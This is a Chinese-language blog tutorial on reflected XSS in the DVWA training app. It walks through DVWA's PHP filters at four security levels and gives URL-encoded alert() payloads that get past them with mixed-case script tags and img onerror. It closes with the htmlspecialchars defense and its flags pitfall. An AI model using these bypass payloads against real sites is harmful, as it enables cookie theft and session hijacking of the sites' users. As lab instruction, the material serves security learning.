XSS Reflected 测试

前言

由于最近在做XSS方面的测试,于是找到了DVWA平台进行实验测试,通过这三篇文章让大家了解XSS方面的大概内容,这三篇文章只是把你领进XSS的大门,要想真正深入的学习XSS,你还需要去学习很多东西来提升自己。
网站测试分为黑盒测试和白盒测试,在这里采用白盒测试来对网站进行XSS漏洞测试,XSS漏洞分为三种:反射型XSS、存储型XSS、DOM型XSS,分别用三篇文章来进行阐述。

XSS攻击形成原理

XSS中文名是“跨站脚本攻击”,英文全称是“Cross Site Scripting”。

XSS也是一种注入攻击,长期以来被列为客户端web安全中的头号大敌,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。

OWASP TOP 10 威胁多次把XSS列在榜首,常见的危害有:cookie窃取、session劫持、钓鱼攻击、蠕虫、ddos、获取用户真实IP、识别用户浏览器 ··········

dvwa反射型xss

反射型XSS:只是简单地把用户输入的数据反射给浏览器,一般出现在URL参数中及网站搜索栏中,只有用户点击恶意链接触发恶意代码的URL,才能受到攻击,只能触发一次,也被称为“非持久型XSS(Non-persistent XSS)”。

漏洞测试

low级别

XSS Reflected 测试XSS Reflected 测试​​

在输入框里面随便输入一个String(admin),发现显示:Hello admin这句话,同时可以知道数据提交是以GET请求的方式

查看源码:并没有什么Protect,这是最危险的

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
} ?>

构造payload,执行最简单的XSS攻击

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C/script%3E

当用户触发该URL时就会受到XSS攻击,有弹框出现

XSS Reflected 测试

后续测试,利用此漏洞,你也可以尝试去获得用户登陆的Cookie,在这里就不多说了,很容易实现的

medium 级别

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} ?>

经过代码审计,可以发现medium级别进行了Protect,对GET请求到的的内容进行'<script>'字符串匹配,将内容里出现的该字

符串替换成空,避免<script>标签造成的XSS攻击,但是<script>标签真的就不能使用了吗,答案是可以使用的,回过头来继续分析此str_replace()函数

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

在这里可以利用str_replace()函数区分大小写的缺点来进行XSS攻击

构造payload,继续使用<script>标签进行XSS攻击

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CsCript%3Ealert%28%271111%27%29%3C%2Fscript%3E#

成功绕过<script>标签的匹配

XSS Reflected 测试

另一种绕过方法不使用<script>标签进行XSS攻击,既然str_repalce()函数匹配的是<script>标签,而不匹配其它标签,所以在这里也可以利用<img>标签进行XSS攻击

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

<img>标签绕过str_replace()

XSS Reflected 测试

high 级别

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} ?>

代码审计之后,发现high级别存在另外一种的Protect,利用preg_replace()函数进行匹配“< s r i p t”等字符,将其置为空,此时<script>标签是不能使用的,不管是大小进行区分写都不可以

小写<script>标签被过滤

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22_XSS_%22%29%3C%2Fscript%3E#

XSS Reflected 测试

大小写混合<script>标签被过滤

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3CScripT%3Ealert%28%22_XSS_%22%29%3C%2FscriPt%3E#

XSS Reflected 测试

上面的既然都不行,就需要利用其它标签进行XSS攻击,此处可以利用 medium 级别 中提到的<img>标签进行绕过preg_replace()函数的Protect

构造payload

http://192.168.43.146/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%23+onerror%3Dalert%28%22_XSS_%22%29%3E#

<img>标签成功绕过preg_replace()

XSS Reflected 测试

impossible 级别

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
echo "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken(); ?>

impossible 级别的Protect不能被绕过,由于htmlspecialchars()函数的保护作用

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 > 它的语法如下:
htmlspecialchars(string,flags,character-set,double_encode)
其中第二个参数flags需要重要注意,很多开发者就是因为没有注意到这个参数导致使用htmlspecialchars()函数过滤XSS时被绕过。因为flags参数对于引号的编码如下: 可用的引号类型: ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认是只编码双引号的

因为输入的所有标签都被转义,所以此处不存在XSS攻击,但是要注意flags属性,使用不当过滤XSS时就会被绕过

上一篇:转---秒杀多线程第五篇 经典线程同步 关键段CS


下一篇:关于python装饰器(Decorators)最底层理解的一句话